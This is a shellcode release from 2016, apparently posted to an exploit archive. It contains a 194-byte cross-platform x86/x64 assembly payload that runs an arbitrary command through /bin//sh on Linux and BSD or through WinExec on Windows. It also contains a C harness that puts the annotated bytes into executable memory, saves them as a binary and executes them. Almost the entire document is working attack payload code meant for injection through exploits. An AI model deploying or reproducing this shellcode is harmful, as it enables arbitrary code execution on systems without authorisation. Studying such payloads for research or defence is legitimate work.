/**
# Title : Execute command on Linux/Windows/BSD x86_64 execve("/bin//sh", {"//bin/sh", "-c", "cmd"}, NULL) shellcode
# Date : 04-06-2016
# Author : @odzhancode
# Tested On : Debian x86/x64, FreeBSD x64, OpenBSD x64, Windows x86, Windows x64
*/
; **************************************
; exec.asm
;
; Execute a command
; Works on 32/64-bit versions of Windows and Linux, 64-bit versions of FreeBSD/OpenBSD
;
; yasm -fbin exec.asm -oexec.bin
; nasm -fbin exec.asm -oexec.bin
;
; 194 bytes
;
bits 32
push esi
push edi
push ebx
push ebp
xor ecx, ecx ; ecx=0
mul ecx ; eax=0, edx=0
push eax
push eax
push eax
push eax
push eax ; setup homespace for win64
jmp l_sb ; load command
get_os:
pop edi ; edi=cmd, argv
mov cl, 7
; initialize cmd/argv regardless of OS
push eax ; argv[3]=NULL;
push edi ; argv[2]=cmd
repnz scasb ; skip command line
stosb ; zero terminate
push edi ; argv[1]="-c", 0
scasw ; skip option
stosb ; zero terminate
push edi ; argv[0]="/bin//sh", 0
push esp ; save argv
push edi ; save pointer to "/bin//sh", 0
mov al, 6 ; eax=sys_close for Linux/BSD
inc ecx ; ignored on x64
jecxz gos_x64 ; if ecx==0 we're 64-bit
; we're 32-bit
; if gs is zero, we're native 32-bit windows
mov cx, gs
jecxz win_cmd
; if eax is zero after right shift of SP, ASSUME we're on windows
push esp
pop eax
shr eax, 24
jz win_cmd
; we're 32-bit Linux
mov al, 11 ; eax=sys_execve
pop ebx ; ebx="/bin//sh", 0
pop ecx ; ecx=argv
int 0x80
; we're 64-bit, execute syscall and see what
; error returned
gos_x64:
push -1
pop edi
syscall
cmp al, 5 ; Access Violation indicates windows
push 59
pop eax
cdq
jz win_cmd
pop edi ; rdi="/bin//sh", 0
pop esi ; rsi=argv
syscall
l_sb:
jmp ld_cmd
; following code is derived from Peter Ferrie's calc shellcode
; i've modified it to execute commands
win_cmd:
pop eax ; eax="/bin//sh", 0
pop eax ; eax=argv
pop eax ; eax="/bin//sh", 0
pop eax ; eax="-c", 0
pop ecx ; ecx=cmd
pop eax ; eax=0
inc eax
xchg edx, eax
jz x64
push eax ; will hide
push ecx ; cmd
mov esi, [fs:edx+2fh]
mov esi, [esi+0ch]
mov esi, [esi+0ch]
lodsd
mov esi, [eax]
mov edi, [esi+18h]
mov dl, 50h
jmp lqe
bits 64
x64:
mov dl, 60h
mov rsi, [gs:rdx]
mov rsi, [rsi+18h]
mov rsi, [rsi+10h]
lodsq
mov rsi, [rax]
mov rdi, [rsi+30h]
lqe:
add edx, [rdi+3ch]
mov ebx, [rdi+rdx+28h]
mov esi, [rdi+rbx+20h]
add rsi, rdi
mov edx, [rdi+rbx+24h]
fwe:
movzx ebp, word [rdi+rdx]
lea rdx, [rdx+2]
lodsd
cmp dword [rdi+rax], 'WinE'
jne fwe
mov esi, [rdi+rbx+1ch]
add rsi, rdi
mov esi, [rsi+rbp*4]
add rdi, rsi
cdq
call rdi
cmd_end:
bits 32
pop eax
pop eax
pop eax
pop eax
pop eax
pop ebp
pop ebx
pop edi
pop esi
ret
ld_cmd:
call get_os
; place command here
;db "notepad", 0xFF
; do not change anything below
;db "-c", 0xFF, "/bin//sh", 0
// *************** xcmd.c
/**
Copyright © 2016 Odzhan. All Rights Reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE. */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#if defined (_WIN32) || defined(_WIN64)
#define WIN
#include <windows.h>
#else
#include <sys/mman.h>
#endif
#define CMD_LEN_OFS 0x10+1
#define EXEC_SIZE 194
char exec[]= {
/* 0000 */ "\x56" /* push esi */
/* 0001 */ "\x57" /* push edi */
/* 0002 */ "\x53" /* push ebx */
/* 0003 */ "\x55" /* push ebp */
/* 0004 */ "\x31\xc9" /* xor ecx, ecx */
/* 0006 */ "\xf7\xe1" /* mul ecx */
/* 0008 */ "\x50" /* push eax */
/* 0009 */ "\x50" /* push eax */
/* 000A */ "\x50" /* push eax */
/* 000B */ "\x50" /* push eax */
/* 000C */ "\x50" /* push eax */
/* 000D */ "\xeb\x37" /* jmp 0x46 */
/* 000F */ "\x5f" /* pop edi */
/* 0010 */ "\xb1\x00" /* mov cl, 0x0 */
/* 0012 */ "\x50" /* push eax */
/* 0013 */ "\x57" /* push edi */
/* 0014 */ "\xf2\xae" /* repne scasb */
/* 0016 */ "\xaa" /* stosb */
/* 0017 */ "\x57" /* push edi */
/* 0018 */ "\x66\xaf" /* scasw */
/* 001A */ "\xaa" /* stosb */
/* 001B */ "\x57" /* push edi */
/* 001C */ "\x54" /* push esp */
/* 001D */ "\x57" /* push edi */
/* 001E */ "\xb0\x06" /* mov al, 0x6 */
/* 0020 */ "\x41" /* inc ecx */
/* 0021 */ "\xe3\x12" /* jecxz 0x35 */
/* 0023 */ "\x66\x8c\xe9" /* mov cx, gs */
/* 0026 */ "\xe3\x20" /* jecxz 0x48 */
/* 0028 */ "\x54" /* push esp */
/* 0029 */ "\x58" /* pop eax */
/* 002A */ "\xc1\xe8\x18" /* shr eax, 0x18 */
/* 002D */ "\x74\x19" /* jz 0x48 */
/* 002F */ "\xb0\x0b" /* mov al, 0xb */
/* 0031 */ "\x5b" /* pop ebx */
/* 0032 */ "\x59" /* pop ecx */
/* 0033 */ "\xcd\x80" /* int 0x80 */
/* 0035 */ "\x6a\xff" /* push 0xffffffff */
/* 0037 */ "\x5f" /* pop edi */
/* 0038 */ "\x0f\x05" /* syscall */
/* 003A */ "\x3c\x05" /* cmp al, 0x5 */
/* 003C */ "\x6a\x3b" /* push 0x3b */
/* 003E */ "\x58" /* pop eax */
/* 003F */ "\x99" /* cdq */
/* 0040 */ "\x74\x06" /* jz 0x48 */
/* 0042 */ "\x5f" /* pop edi */
/* 0043 */ "\x5e" /* pop esi */
/* 0044 */ "\x0f\x05" /* syscall */
/* 0046 */ "\xeb\x75" /* jmp 0xbd */
/* 0048 */ "\x58" /* pop eax */
/* 0049 */ "\x58" /* pop eax */
/* 004A */ "\x58" /* pop eax */
/* 004B */ "\x58" /* pop eax */
/* 004C */ "\x59" /* pop ecx */
/* 004D */ "\x58" /* pop eax */
/* 004E */ "\x40" /* inc eax */
/* 004F */ "\x92" /* xchg edx, eax */
/* 0050 */ "\x74\x16" /* jz 0x68 */
/* 0052 */ "\x50" /* push eax */
/* 0053 */ "\x51" /* push ecx */
/* 0054 */ "\x64\x8b\x72\x2f" /* mov esi, [fs:edx+0x2f] */
/* 0058 */ "\x8b\x76\x0c" /* mov esi, [esi+0xc] */
/* 005B */ "\x8b\x76\x0c" /* mov esi, [esi+0xc] */
/* 005E */ "\xad" /* lodsd */
/* 005F */ "\x8b\x30" /* mov esi, [eax] */
/* 0061 */ "\x8b\x7e\x18" /* mov edi, [esi+0x18] */
/* 0064 */ "\xb2\x50" /* mov dl, 0x50 */
/* 0066 */ "\xeb\x17" /* jmp 0x7f */
/* 0068 */ "\xb2\x60" /* mov dl, 0x60 */
/* 006A */ "\x65\x48" /* dec eax */
/* 006C */ "\x8b\x32" /* mov esi, [edx] */
/* 006E */ "\x48" /* dec eax */
/* 006F */ "\x8b\x76\x18" /* mov esi, [esi+0x18] */
/* 0072 */ "\x48" /* dec eax */
/* 0073 */ "\x8b\x76\x10" /* mov esi, [esi+0x10] */
/* 0076 */ "\x48" /* dec eax */
/* 0077 */ "\xad" /* lodsd */
/* 0078 */ "\x48" /* dec eax */
/* 0079 */ "\x8b\x30" /* mov esi, [eax] */
/* 007B */ "\x48" /* dec eax */
/* 007C */ "\x8b\x7e\x30" /* mov edi, [esi+0x30] */
/* 007F */ "\x03\x57\x3c" /* add edx, [edi+0x3c] */
/* 0082 */ "\x8b\x5c\x17\x28" /* mov ebx, [edi+edx+0x28] */
/* 0086 */ "\x8b\x74\x1f\x20" /* mov esi, [edi+ebx+0x20] */
/* 008A */ "\x48" /* dec eax */
/* 008B */ "\x01\xfe" /* add esi, edi */
/* 008D */ "\x8b\x54\x1f\x24" /* mov edx, [edi+ebx+0x24] */
/* 0091 */ "\x0f\xb7\x2c\x17" /* movzx ebp, word [edi+edx] */
/* 0095 */ "\x48" /* dec eax */
/* 0096 */ "\x8d\x52\x02" /* lea edx, [edx+0x2] */
/* 0099 */ "\xad" /* lodsd */
/* 009A */ "\x81\x3c\x07\x57\x69\x6e\x45" /* cmp dword [edi+eax], 0x456e6957 */
/* 00A1 */ "\x75\xee" /* jnz 0x91 */
/* 00A3 */ "\x8b\x74\x1f\x1c" /* mov esi, [edi+ebx+0x1c] */
/* 00A7 */ "\x48" /* dec eax */
/* 00A8 */ "\x01\xfe" /* add esi, edi */
/* 00AA */ "\x8b\x34\xae" /* mov esi, [esi+ebp*4] */
/* 00AD */ "\x48" /* dec eax */
/* 00AE */ "\x01\xf7" /* add edi, esi */
/* 00B0 */ "\x99" /* cdq */
/* 00B1 */ "\xff\xd7" /* call edi */
/* 00B3 */ "\x58" /* pop eax */
/* 00B4 */ "\x58" /* pop eax */
/* 00B5 */ "\x58" /* pop eax */
/* 00B6 */ "\x58" /* pop eax */
/* 00B7 */ "\x58" /* pop eax */
/* 00B8 */ "\x5d" /* pop ebp */
/* 00B9 */ "\x5b" /* pop ebx */
/* 00BA */ "\x5f" /* pop edi */
/* 00BB */ "\x5e" /* pop esi */
/* 00BC */ "\xc3" /* ret */
/* 00BD */ "\xe8\x4d\xff\xff\xff" /* call 0xf */
};
// save code to binary file
void bin2file (uint8_t bin[], size_t len)
{
FILE *out=fopen ("sh_cmd.bin", "wb");
if (out!=NULL)
{
fwrite (bin, 1, len, out);
fclose (out);
}
}
// allocate read/write and executable memory
// copy data from code and execute
void xcode(void *code, size_t code_len, char *cmd, size_t cmd_len)
{
void *bin;
uint8_t *p;
char args[]="\xFF-c\xFF/bin//sh\x00";
size_t arg_len;
arg_len=strlen(args) + 1;
printf ("[ executing code...\n");
#ifdef WIN
bin=VirtualAlloc (0, code_len + cmd_len + arg_len,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
#else
bin=mmap (0, code_len + cmd_len + arg_len,
PROT_EXEC | PROT_WRITE | PROT_READ,
MAP_ANON | MAP_PRIVATE, -1, 0);
#endif
if (bin!=NULL)
{
p=(uint8_t*)bin;
memcpy (p, code, code_len);
// set the cmd length
p[CMD_LEN_OFS] = (uint8_t)cmd_len;
// copy cmd
memcpy ((void*)&p[code_len], cmd, cmd_len);
// copy argv
memcpy ((void*)&p[code_len+cmd_len], args, arg_len);
//DebugBreak();
bin2file(bin, code_len+cmd_len+arg_len);
// execute
((void(*)())bin)();
#ifdef WIN
VirtualFree (bin, code_len+cmd_len+arg_len, MEM_RELEASE);
#else
munmap (bin, code_len+cmd_len+arg_len);
#endif
}
}
int main(int argc, char *argv[])
{
size_t len;
char *cmd;
if (argc != 2) {
printf ("\n usage: xcmd <command>\n");
return 0;
}
cmd=argv[1];
len=strlen(cmd);
if (len==0 || len>255) {
printf ("\n invalid command length: %i (must be between 1 and 255)", len);
return 0;
}
xcode(exec, EXEC_SIZE, cmd, len);
return 0;
}